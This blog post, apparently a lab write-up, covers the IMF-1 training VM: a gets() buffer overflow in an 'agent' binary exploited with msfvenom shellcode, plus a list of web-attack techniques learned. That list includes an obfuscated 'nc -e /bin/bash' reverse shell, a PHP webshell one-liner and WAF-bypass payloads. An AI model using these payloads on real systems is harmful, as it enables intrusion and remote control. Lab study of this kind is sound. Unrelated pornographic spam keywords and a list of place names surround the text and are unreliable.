最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

項(xiàng)目八:IMF-1(下)

2023-08-01 19:13 作者:沙漠里的鯨  | 我要投稿

#復(fù)制agent到KAIl進(jìn)行分析

---將靶機(jī)的agent文件拷貝到Kail(采用base64編碼)

---在kail解碼,獲取文件:cat base64.txt | base64 -d > agent

---并且通過(guò)MD5檢驗(yàn)傳輸是否出錯(cuò)

#使用ltrace(跟蹤進(jìn)程調(diào)用庫(kù)函數(shù)的情況)查看agent信息

---ltrace的功能是能夠跟蹤進(jìn)程的庫(kù)函數(shù)調(diào)用,它會(huì)顯現(xiàn)出哪個(gè)庫(kù)函數(shù)被調(diào)用

---跟蹤agent調(diào)用了哪些函數(shù),發(fā)現(xiàn)是通過(guò)strncmp()進(jìn)行登陸檢驗(yàn)

---之前PHP也是通過(guò)strcmp()進(jìn)行登陸檢驗(yàn)

---strncmp()函數(shù)比strcmp()多出一個(gè)n的參數(shù)(即最大比多少位),防止緩沖區(qū)溢出

---為了防止緩沖區(qū)溢出,在C庫(kù)函數(shù)中,許多對(duì)字符串操作的函數(shù)都有其"n兄弟"版本

---例如strncmp,strncat,snprintf……兄弟版本的基本行為不變,但是通常在參數(shù)中需要多給出一個(gè)整數(shù)n,用于限制操作的最大字符數(shù)量

  • str1 要進(jìn)行比較第一個(gè)字符串。str2 第二個(gè)字符串,n? 要比較的最大字符數(shù)

  • 如果返回值 = 0,則表示 str1 等于 str2

---PHP的strcmp可以通過(guò)[]繞過(guò),但是這個(gè)可以輸入48093572

---通過(guò)strings查看agent文件是否存在隱藏的信息

---這里因該提示了一些提取地點(diǎn),存在2個(gè)輸入字符串的位置

---這里繞過(guò)strncmp的方法就是輸入4809357,并且存在2個(gè)輸入字符串的地方:

---2. Request Extraction(輸入提取位置)3Submit Report(提交報(bào)告)

---這2個(gè)地方都使用%s,很可能存在緩沖區(qū)溢出點(diǎn)

---容易導(dǎo)致緩沖區(qū)溢出的函數(shù)

  1. strcpy 和 ?strcat:這些函數(shù)在復(fù)制和連接字符串時(shí)不會(huì)檢查目標(biāo)緩沖區(qū)的大小,如果源字符串長(zhǎng)度超過(guò)目標(biāo)緩沖區(qū)的大小,就會(huì)導(dǎo)致緩沖區(qū)溢出。

  2. getsgets 函數(shù)用于從標(biāo)準(zhǔn)輸入讀取字符串,但它不會(huì)限制輸入字符串的長(zhǎng)度,因此容易導(dǎo)致緩沖區(qū)溢出。

  3. sprintf 和 ?vsprintf:這些函數(shù)類(lèi)似于 ?strcpy,但是可以格式化將多個(gè)字符串連接到目標(biāo)緩沖區(qū)中。如果格式化的字符串長(zhǎng)度超過(guò)目標(biāo)緩沖區(qū)的大小,就會(huì)導(dǎo)致緩沖區(qū)溢出。

  4. scanf ?fscanf:這些函數(shù)用于從標(biāo)準(zhǔn)輸入或文件中讀取格式化的數(shù)據(jù)。如果輸入的數(shù)據(jù)格式與預(yù)期不符,或者輸入數(shù)據(jù)超過(guò)目標(biāo)緩沖區(qū)的大小,就會(huì)導(dǎo)致緩沖區(qū)溢出。

  5. read 和 ?write:這些函數(shù)用于從文件描述符讀取數(shù)據(jù)或?qū)?shù)據(jù)寫(xiě)入文件描述符。如果不對(duì)讀取和寫(xiě)入的數(shù)據(jù)長(zhǎng)度進(jìn)行正確的檢查,可能會(huì)導(dǎo)致緩沖區(qū)溢出

---根據(jù)上面的函數(shù),構(gòu)建字典進(jìn)行緩沖區(qū)溢出

---這里發(fā)現(xiàn),還是可能存在(這樣賽選不太行,需要通過(guò)IDE反匯編后,再來(lái)賽選)

---使用python輸出200個(gè)A(Python3語(yǔ)法

---通過(guò)200個(gè)A分別對(duì)Request Extraction和Submit Report進(jìn)行測(cè)試

---發(fā)現(xiàn)Submit Report里面會(huì)提示分段錯(cuò)誤,存在緩沖區(qū)溢出漏洞

---在Request Extraction里面,顯示的只有一部分A,說(shuō)明這里的輸入函數(shù)存在n限制

##緩沖區(qū)溢出提權(quán)

--采用模式字符串生成200個(gè)字符串:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

---使用GDB來(lái)探測(cè)緩沖區(qū)溢出的值(ebp存儲(chǔ)的值):gdb agent

---checksec 檢測(cè)agent是否存在防護(hù)機(jī)制,這里沒(méi)有機(jī)制

---添加模式字符串運(yùn)行,發(fā)現(xiàn)緩沖區(qū)溢出點(diǎn)(ebp)處存儲(chǔ)的值:0x41366641

---采用pattern_offset.rb根據(jù)模式字符串,推測(cè)處ebp的偏移量:168

---使用python3生成一個(gè)168的偏移(168個(gè)A(ebp),4個(gè)B(call_adr))

---這里發(fā)現(xiàn)EIP=call_adr里面填充的值,ebp =AAAA,說(shuō)明偏移量是正確的

---注意:EAX先存儲(chǔ)了A之后,又存儲(chǔ)了B(相當(dāng)于中轉(zhuǎn)站)

---"EAX: 0xffffd254" 表示 EAX 值為 0xffffd254

---"'A' <repeats 152 times>" 表示在內(nèi)存地址 0xffffd254 處,連續(xù)存儲(chǔ)了 152 個(gè) 'A' 字符

---"T 322 377 377" 是一個(gè)字符串,它可能是位于 0xffffd254 內(nèi)存地址的內(nèi)容的一部分。注意這里的內(nèi)容是以字符形式展示的,因?yàn)?0xffffd254 地址中存儲(chǔ)

---綜合上述信息,可以推測(cè)在內(nèi)存中,從地址 0xffffd254 開(kāi)始,連續(xù)存儲(chǔ)了 'A' 字符共 152 次,然后是 "T 322 377 377",接著連續(xù)存儲(chǔ)了 'A' 字符共 12 次,最后是 "BBBB"

---總結(jié):EAX的值0xffffd254,該地址為傳參的起始地址

---使用C來(lái)填充call_adr之后下面的值(注意:在棧中是地址的高位)

---ESP的值是16個(gè)C,而EAX的值,先是12個(gè)A,然后是4個(gè)B,最后是16個(gè)C

---這里搞不太懂為什么ESP的值不是存儲(chǔ)的4個(gè)C(32位寄存器,一個(gè)字符8bit)

---思路1:call_adr跳轉(zhuǎn)到ESP (ESP存儲(chǔ)的是call_adr的下一個(gè)地址(地址高位))

---思路2:call_adr跳轉(zhuǎn)到EAX,EAX會(huì)自動(dòng)指向shellcode的上方(地址低位,但是EAX也會(huì)存儲(chǔ)call_adr的地址?。?br>

---msfvenom生成Python類(lèi)型的shellcode

---注意:靶機(jī)是x64的寄存器,但是兼容x86的,所以生成x86的系統(tǒng)也可以,-b表示壞字符

  1. "\x00": 這是空字符(Null Character),通常表示字符串的終止符。在許多編程語(yǔ)言中,字符串是以空字符結(jié)尾的。當(dāng)處理字符串時(shí),如果遇到空字符,通常會(huì)被視為字符串的結(jié)尾,從而導(dǎo)致處理截?cái)嗷蛞馔饨K止。

  2. "\x0a": 這是換行字符(Line Feed),也稱(chēng)為"LF"。在Unix和類(lèi)Unix系統(tǒng)中,換行字符通常用于表示一行的結(jié)束。然而,Windows系統(tǒng)使用兩個(gè)字符的序列"\r\n"來(lái)表示一行的結(jié)束。因此,如果在Windows系統(tǒng)中處理Unix格式的文本時(shí),換行字符可能會(huì)導(dǎo)致格式錯(cuò)誤。

  3. "\x0b": 這是垂直制表符(Vertical Tab),ASCII為"VT"。它是一個(gè)控制字符,通常用于處理文本的格式控制。在大多數(shù)情況下,它很少使用,因此可能會(huì)導(dǎo)致處理問(wèn)題或解釋為其他字符

---生成的shellcode如下(使用python來(lái)利用shellcode)

---查看靶機(jī)是否開(kāi)啟ASLR

---這里發(fā)現(xiàn)是全隨機(jī),需要使用腳本去爆破call_adr下面的shellcode地址

---0 = 關(guān)閉;1 = 半隨機(jī):共享庫(kù)/棧/mmap() / VDSO 將被隨機(jī)化;2 = 全隨機(jī),包括heap

---搜索存在 jmp/call eax 匯編指令的函數(shù)(內(nèi)存)地址:0x08048563

---"jmpcall eax" 將程序的執(zhí)行流程跳轉(zhuǎn)到存儲(chǔ)在 ?eax 寄存器中地址,在執(zhí)行跳轉(zhuǎn)之前會(huì)保存當(dāng)前的返回地址;asmsearch "jmp eax"是在指令集里面搜索存在jmp eax或者 call eax的地址

---由于eax的值會(huì)存儲(chǔ)call_adr后面的shellcode的首地址

---所以找到call esp的函數(shù)地址,就會(huì)執(zhí)行shellcode

---當(dāng)然,如果不采用搜索eax的方法,通過(guò)查看esp的值,來(lái)進(jìn)行跳轉(zhuǎn)

---這里ESP是調(diào)用完call之后,銷(xiāo)毀分配的堆棧,ESP=call_adr的下一個(gè)地址塊(內(nèi)存高位)

---構(gòu)建調(diào)用shellcode的python2代碼

---邏輯:1.run agent ;2.輸入48093572;3.輸入3;4.傳入帶shellcode的參數(shù)

---這里的思路和上一次的不同,上一次的是將shellcode寫(xiě)入call_adr之后

---而這一次是寫(xiě)入call_adr之前

---python2運(yùn)行腳本(注意:之前的中文注釋要全部刪除

---Kail監(jiān)聽(tīng)6666端口,獲取到flag6

---問(wèn)題:為什么EAX會(huì)指向傳入?yún)?shù)的首地址(例如:scanf函數(shù)提升的緩沖區(qū)的棧頂)

---Python3的腳本

#系統(tǒng)漏洞提權(quán)

---2022年1月25日 qualys安全研究人員披露 CVE-2021-4034 polkit pkexec 本地提權(quán)漏洞漏洞細(xì)節(jié),polkit pkexec 中對(duì)命令行參數(shù)處理有誤,導(dǎo)致參數(shù)注入,能夠?qū)е卤镜靥釞?quán)。
---pkexec應(yīng)用程序?yàn)長(zhǎng)inux系統(tǒng)預(yù)裝工具,漏洞影響Ubuntu、Debian、Fedora、CentOS等主流Linux系統(tǒng)。攻擊者可通過(guò)構(gòu)造特定的參數(shù)誘導(dǎo)pkexec執(zhí)行任意代碼,從而獲取本地管理員權(quán)限。該漏洞影響范圍大,潛在危害程度高

---當(dāng)然,也可以lsb_release -a查看發(fā)行版本,然后谷歌搜索

---但是CVE-2021-4034是最新披露的本地系統(tǒng)提取漏洞(打靶場(chǎng)通殺漏洞)

---內(nèi)容如下,在exploit-db的這個(gè)exp還要編譯so文件,比較麻煩

---直接github上下載:https://github.com/arthepsy/CVE-2021-4034

---但是我這里提權(quán)失敗了

#GDB下斷點(diǎn)分析

---gdb反匯編主函數(shù)

---反匯編的代碼如下,發(fā)行了用戶(hù)自定義的3個(gè)函數(shù),以及入口的strncmp()比較函數(shù)

---在0x080486ba位置,對(duì)strncmp函數(shù)設(shè)置斷點(diǎn):break *0x80486ba

---然后輸入:run,在輸入AgentID的界面輸入ID:123456789

---在代碼區(qū)域,發(fā)現(xiàn)即將執(zhí)行call指令,而且通過(guò)EAX給call指令傳參

---在寄存器里面,eax=傳遞的參數(shù)(它這里只截取8位,所以寄存器裝的下)

---esi,已經(jīng)執(zhí)行了:push ebp;EIP是即將執(zhí)行的call指令的函數(shù)地址

---而且上一行的代碼是push,所以esp指向的是棧頂,存儲(chǔ)的值12345678

---查看棧頂?shù)膬?nèi)存,gdb查看內(nèi)存x的參數(shù)

---查看esp的值(ESP: 0xffffd2f0 --> 0xffffd30e ("12345678"))的內(nèi)存:

x/4xw 0xffffd2f0:4顯示內(nèi)存塊長(zhǎng)度,x十六進(jìn)制顯示,w每個(gè)內(nèi)存塊長(zhǎng)度為4Byte

--可以使用x/s以字符串顯示內(nèi)存的值,從指定地址開(kāi)始解析字符,直到遇到 null 終止符 '\0'

---我之前以為esp指向地址的內(nèi)存存儲(chǔ)的12345678,但是在這里看來(lái),里面存儲(chǔ)的是內(nèi)存

---這里我們?cè)趦?nèi)存中找到了agentID的密碼

#IDA pro分析

---打開(kāi)agent文件

---IDA的常用命令

----查看文本視野,在這個(gè)地址點(diǎn)擊tab鍵

---發(fā)現(xiàn)被重構(gòu)成了代碼

---這里是roport的代碼,發(fā)現(xiàn)緩沖區(qū)溢出的根源是:gets函數(shù)

#PHP關(guān)于Linux WAF的繞過(guò)的4篇文件

  1. https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

  2. https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

  3. https://www.secjuice.com/web-application-firewall-waf-evasion/

  4. https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/

##知識(shí)點(diǎn)總結(jié)

---1.Nmap主機(jī)發(fā)現(xiàn)、端口探測(cè)、版本探測(cè)、OS探測(cè)

---2.Web界面信息收集(用戶(hù)名收集、前端源代碼信息(敏感的編碼/js編碼文件名)、SQL注入/文件上傳、robots.txt、readme.html)

---3.Dirb爆破Web的目錄,根據(jù)信息收集訪問(wèn)Web目錄,根據(jù)已知敏感目標(biāo)dirb爆破二級(jí)目錄

---4.登陸界面(無(wú)驗(yàn)證碼):1.弱口令(默認(rèn)密碼)2.爆破字典(之前收集的用戶(hù)名+cewl爬蟲(chóng)分詞)3.爆破工具(BurpSuite / hydra /超級(jí)弱口令工具) 4.strcmp函數(shù)數(shù)組繞過(guò)

---5.常見(jiàn)的PHP函數(shù)繞過(guò):md5()不可以處理數(shù)組、==若比較、in_array()數(shù)字型強(qiáng)制轉(zhuǎn)型繞過(guò)、include的../../../繞過(guò)

---6.SQLmap獲取數(shù)據(jù)庫(kù)信息,以及通過(guò)數(shù)據(jù)包文件進(jìn)行測(cè)試,-os-shell的原理:往服務(wù)器上寫(xiě)入了兩個(gè)php:一個(gè)提供了文件上傳的頁(yè)面,可以通過(guò)這個(gè)上傳頁(yè)面上傳腳本文件到當(dāng)前目錄下。另外一個(gè)則是返回了可以讓我們執(zhí)行系統(tǒng)命令的命令行

---7.查看Web數(shù)據(jù)庫(kù)的敏感信息,獲取敏感圖片文件路徑,binwalk,exiftools,strings分析圖片

---9.文件上傳源代碼分析:1.$_FILES["file"]["size"]文件大小檢測(cè) 2.$_FILES["file"]["type"]文件mime類(lèi)型檢測(cè) 3.in_array()文件后綴名檢測(cè) 4.crappyWAF()文件的內(nèi)容檢測(cè) 5.exif_imagetype($_FILES["file"]["tmp_name"])進(jìn)行文件內(nèi)容首部檢測(cè),是否為GIF圖像

---10.htaccess分析添加的解析,發(fā)現(xiàn)gif文件會(huì)當(dāng)成php文件執(zhí)行

---11.文件上傳繞過(guò):1.修改文件格式gif, 2.添加gif文件的存儲(chǔ)頭部:GIF8a繞過(guò)exif_imagetype()? 3.``繞過(guò)WAF敏感的系統(tǒng)命令/代碼執(zhí)行函數(shù)? 4.前端源代碼提示繞過(guò)文件名

5.dirb爆破的二級(jí)目錄獲取上傳文件的目錄路徑

---12.PHP單引號(hào)(不會(huì)解析)、雙引號(hào)(會(huì)解析)、反引號(hào)的區(qū)別(系統(tǒng)命令執(zhí)行)

---13.PHP系統(tǒng)命令執(zhí)行函數(shù):1.system() 、2.exec() 或者php_exec() 或者shell_exec() 、 3. passthru()

---14.PHP代碼執(zhí)行函數(shù):1.eval() 、2.assert() 、3.preg_replace() 例如<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>? 、4.create_function()或者call_user_func()類(lèi)似的匿名函數(shù)

---15.文件上傳繞過(guò)的方法

----前端JS檢測(cè):瀏覽器禁用Javascript

---MIME檢測(cè):BP修改Content-Type類(lèi)型

---白名單檢測(cè):1.%00截?cái)唷?.0x00截?cái)啵ǘM(jìn)制數(shù)據(jù))

---黑名單繞過(guò):1、文件拓展名繞過(guò)(php2/php3/phtml)2. .htaccess繞過(guò)(本文)3. .user.ini繞過(guò) 4.中間件解析漏洞繞過(guò)(Apache:shell.php.jpg;Nginx:訪問(wèn)虛構(gòu)目錄:/test.jpg/test.php) 5.Windows系統(tǒng)特殊的命名規(guī)則繞過(guò):文件后綴+(點(diǎn)/空格/::$DATA)、 6.條件競(jìng)爭(zhēng)

----文件內(nèi)容檢測(cè):1.檢測(cè)圖片格式(合成圖片馬/文件首部添加偽代碼)2.WAF檢測(cè)敏感的內(nèi)容如:敏感系統(tǒng)/代碼執(zhí)行函數(shù) 、< 、/、\、>、?、" 等通配符或者特殊符號(hào)

---16.Linux敏感系統(tǒng)命令檢測(cè)

---采用?通配符繞過(guò)(nc -e /bin/bash 127.0.0.1 1337):/???/n? -e /???/b??h 2130706433 1337

---采用級(jí)聯(lián)繞過(guò)($ /bin/cat /etc/passwd )=$ /bin/c'at' /e'tc'/pa'ss'wd

---采用未初始化的bash變量繞過(guò):$u 不存在,bash 將其視為空白字符串

---PHP后面;<command>被阻止:;<space><uninitialized var><command>繞過(guò)

---17.PHP惡意代碼檢測(cè)繞過(guò)

---使用十六進(jìn)制對(duì)字符串轉(zhuǎn)義,然后屬于""將字符串定義為函數(shù)(只檢測(cè)惡意函數(shù))

---使用()或者string()將字符串轉(zhuǎn)化為函數(shù)如:(sy.(st).em)(ls);,繞過(guò):惡意函數(shù) ""

---使用$_GET多變傳參:?a=system&b=ls&code=$_GET[a]($_GET[b]);

---在函數(shù)名稱(chēng)和內(nèi)容之間填充注釋

---通過(guò)print_r(get_defined_functions()[internal])獲取內(nèi)置函數(shù),然后調(diào)用執(zhí)行

---通過(guò)字符數(shù)組來(lái)(字符串就是數(shù)組)來(lái)構(gòu)建系統(tǒng)執(zhí)行命令

---通過(guò)腳本文件名中找到所需的所有字符

---18.使用一句話(菜刀/冰蝎/蟻劍/哥斯拉)、php-reverse-shell(MSF的single的Payload,獨(dú)立大馬)、weevely(好用)、webacoo、MSF的msfvenom生成后門(mén)獲取Webshell

---19.msfvenom生成后門(mén):1.可執(zhí)行的二進(jìn)制文件(-f exe/elf) 2.生成WebShell腳本(-f raw >shell.php或者shell.jsp) 3.反彈shell的腳本(python/bash/Powershell) 4.生成shellcode(python版本/C語(yǔ)言版本)

---20.提權(quán)思路:1.uname/rb_release -a查看內(nèi)核和版本,谷歌/searchexploit/msf搜索exp 2.sudo -l 、SUID 、/etc/sudoers | /etc/passwd | /etc/shadow的內(nèi)容/權(quán)限提權(quán) 、計(jì)劃任務(wù) 、系統(tǒng)服務(wù) 、 緩沖區(qū)溢出 、系統(tǒng)版本或內(nèi)核漏洞

---21. Linux提權(quán)的工具:1.linpeas.sh信息收集 2.Linux-exploit-suggester.sh漏洞信息收集

---22.TCP三次握手和四次揮手:

---為了解決丟包問(wèn)題(數(shù)據(jù)包長(zhǎng)度)和亂序問(wèn)題(建立發(fā)送緩沖區(qū),確定序列號(hào)),沒(méi)有收到ACK則超時(shí)重發(fā)數(shù)據(jù)包

---為什么是三次握手:防止2次握手,造成延時(shí)的SYN數(shù)據(jù)包的二次連接

---為什么是四次揮手,防止服務(wù)端的數(shù)據(jù)沒(méi)有發(fā)送完全

---23.netstat -ano查看端口網(wǎng)絡(luò)連接,ps -aux查看進(jìn)程,konck端口碰撞,nc連接端口,ps -aux |grep agent發(fā)現(xiàn)agent文件以root執(zhí)行(服務(wù)和計(jì)劃任務(wù)都是root執(zhí)行)

---24.base64復(fù)制粘貼agent的elf文件,md5sum檢驗(yàn)傳輸是否出錯(cuò)

---25.通過(guò)ltrace查看調(diào)用的函數(shù)發(fā)現(xiàn)agentID密碼(不好用),strings查看調(diào)用的函數(shù)(只能看mian里面的函數(shù))

---26.IDA pro查看agent的反匯編,發(fā)現(xiàn)gets()函數(shù)存在緩沖區(qū)溢出,通過(guò)本地填充字符串測(cè)試發(fā)現(xiàn)分段錯(cuò)誤

----27.采用pattern_create和pattern_offset對(duì)agent測(cè)試,獲取緩沖區(qū)溢出(ebp)的偏移量

---28.采用GDB-peda.py對(duì)agent進(jìn)行緩沖區(qū)溢出測(cè)試,驗(yàn)證偏移量,查看內(nèi)容

---29.msfvenom生成py版本的shellcode,去除壞字符,

---30.通過(guò)查找call eax的函數(shù)地址,在call_adr的前面寫(xiě)入shellcode + (偏移量-len(shellcode) + call eax的函數(shù)地址

---31.利用Python2/3的socket連接agent服務(wù),send發(fā)送消息,recv()設(shè)置消息的大小

---32cve-2021-4034-poc.c的使用(沒(méi)有成功)

---33.checksec和sysctl -a --pattern randomize(cat /proc/sys/kernel/randomize_va_space)查看ALSR

#存在的問(wèn)題

---為什么EAX的值會(huì)指向緩沖區(qū)棧頂?shù)?/p>

--為什么這里沒(méi)有使用nop以及爆破的方式來(lái)繞過(guò)ALSR,猜測(cè)和EAX有關(guān)

#思考:

---由于不知道.htaccess,所以:1.嘗試可以上傳哪些圖片2.看圖片能否解析成PHP(存在解析漏洞)3.嘗試黑名單/白名單繞過(guò)等



項(xiàng)目八:IMF-1(下)的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
塔河县| 集贤县| 江城| 榆社县| 玉环县| 罗定市| 临湘市| 海伦市| 西宁市| 诏安县| 筠连县| 大田县| 灵璧县| 罗源县| 如皋市| 泰兴市| 五原县| 武邑县| 星座| 改则县| 财经| 乐安县| 集贤县| 措勤县| 鸡西市| 平果县| 班戈县| 浦城县| 满城县| 阆中市| 东兰县| 都兰县| 张家川| 乌兰察布市| 毕节市| 金塔县| 西安市| 永福县| 阳西县| 恩平市| 上饶县|